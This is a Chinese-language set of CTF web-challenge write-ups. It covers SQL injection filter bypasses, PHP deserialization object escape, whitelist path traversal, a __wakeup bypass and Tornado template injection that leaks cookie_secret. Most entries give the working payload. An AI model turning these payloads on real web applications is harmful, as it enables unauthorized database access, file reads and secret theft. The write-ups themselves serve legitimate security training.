一些CTF练习记录

1. [2018强网杯]随便注

测试闭合1' or '1'='1'--+
在select 等关键字被过滤后，配合堆叠注入加上字符串预定义利用char函数构造预定义语句，绕过过滤。

?inject=2';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqll FROM @sql;EXECUTE sqll; --+

注意：windows下mysql引用表名时候用反勾号

2.[2019安洵杯]简单serialze

首先源码提示，phpinfo中可能有东西，那么我们打开看一下~~

发现隐式包含了个php文件，再看源码最后一行有个读取文件的操作，但需要我们控制'img'参数’改为我们要打开的文件，往上回溯看到有个extract函数可以修改键值对，然后将数值base64编码之后序列化，再经过一个过滤函数，再反序列化回来。但是，一组数据在传输过程中被改变了数值就很可能会出现问题。这里就会造成反序列化的对象逃逸问题。
举个例子：

$aa['flagphp']=';s:14:"phpflagphpflag";s:7:"1234567";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}';

上面这个数组正常序列化后是

a:1:{s:7:"flagphp";s:72:";s:14:"phpflagphpflag";s:7:"1234567";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}";}

但经过过滤函数之后变成这样

a:2:{s:7:"";s:72:";s:14:"";s:7:"1234567";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}";}

可以看到之前的键名被过滤置空了，这就导致后面的";s:72:被当成了键名。
放到题目里面来因为题目源码里面也对$_SESSION['img']定义了数值，但它在extract函数的后面所以序列化后就变成了这样

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

同样的原理将";s:48:吞掉构造完整数组
所以最后payload：获取flag

_SESSION[flagphp]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

3.[攻防世界] web进阶区4

一进来只有这个页面有不同，猜测突破口就是这里了。

看题目说只有一处留下了入侵者的痕迹，这里id又等于1

测试了没有sql注入后就尝试爆破id数值，用burp

先生成字典就用4位纯数字

可看到当id为2333时，返回数据有不同，一测试果然是

4.[HCTF2018] warmup

一进来就是个滑稽图片~，查看源码发现有提示source.php，打开一看有php源码，阅读源码发现还有个hint.php，打开是告诉flag在ffffllllaaaagggg文件。继续阅读源码，首先判断file传入参数是否为空，是否为字符串，是否通过过滤函数，都满足就包含对应文件

 if (! empty($_REQUEST['file']) //file参数不为空
        && is_string($_REQUEST['file']) //是字符串
        && emmm::checkFile($_REQUEST['file']) //通过过滤函数
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    }

接着审计checkFile函数

class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

可以看到首先是创建一个白名单数组，然后有几个判断条件：

判断传入参数是否存在和是否是字符串
再判断是否是白名单里的内容
再截取第一个？前的内容判断是否在白名单里存在
进行一次url解码后再截取第一个？前的内容，判断是否在白名单里存在
都满足后返回true，[这里要注意代码中的$page和$_page的区别]。?后的部分被当做用get提交的参数,还需要自己加../来测试ffffllllaaaagggg的位置
payload:source.php?file=source.php?../../../../../../ffffllllaaaagggg

5.攻防世界 unserialize3

一进来就是源码，那就代码审计，看到wakeup()构造函数是反序列化之前用到的，但是这里会直接终止脚本，所以我们是先应该绕过他
直接构造payload：O:4:"xctf":3:{s:6:"flag";s:3:"111";}

6. [SUCTF 2019]EasySQL

一进来是个输入框，根据题目提示应该是SQL注入，有四种情况
1.输入包含and or等关键字就会回显nonoon

2.空白回显
3.输入数字回显数组
4.当输入数字过长回显too long

最后尝试堆叠注入 1;show tables;

发现存在表flag，之后尝试无果。百度才知原题是有源码泄露的，这环境没有......
拿到源码后发现是黑名单过滤，最重要的一句
$sql = "select ".$post['query']."||flag from Flag";
在oracle 缺省支持通过 ‘ || ’ 来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

传入参数得到flag，即组成的查询语句为：

select ,1;1||flag from Flag

因为没有过滤*所以有个非预期解

*,1

传入参数得到flag，即组成的查询语句为：

select *,1||flag from Flag

7. [护网杯 2018]easy_tornado

一进来就是三个提示页面最关键的是

让我们将cookie_secret和md5加密后的/fllllllllllllag合起来再进行一次md5加密，现在就是如何找到cookie_secret的值
结合题目的tornado 还有第二个welcome.txt的render都是有关服务器模板渲染的词，觉得应该和服务器模板注入有关，然后开始尝试
测试发现只要输入网址有点偏差就会跳转到error的页面，输入{{9*9}}测试一下，返回ORZ

输入{{9/9}}，{{9+9}}，{{9-9}}回显都一样，最后再测试{{9^9}}发现回显为0，这就确定了有模板注入，之前哪些应该都是被过滤了

fuzz了一下过滤了这些"%'()*-/=[]_|现在目的是要找出cookie_secret的值这应该是tornado框架里的一个值现在又很多东西被过滤了，思路到这里就停了，看了一下别人的wp
首先找tornado框架源码发现cookie_secret 是handler.application.settings 的键值
再看官方文档

明确写着 handler 对应的就是 RequestHandler,那么也就是说，我们可以使用 handler 调用 RequestHandler 的方法
继续在文档里搜索RequestHandler
看到 RequestHandler.settings 是 self.application.settings的别名，这就是我们之前寻找的handler.application.settings，也就是说我们能直接通过 handler.settings 访问到我们朝思暮想的 cookie_secret
payload：error?msg={{handler.settings}}

再通过在线或者python脚本将cookie_secret和md5加密后的/fllllllllllllag合起来再进行一次md5加密

将得到的值放到filehash后
payload：/file?filename=/fllllllllllllag&filehash=cb6bfd6c317f6f062cb8cc107af7d5e8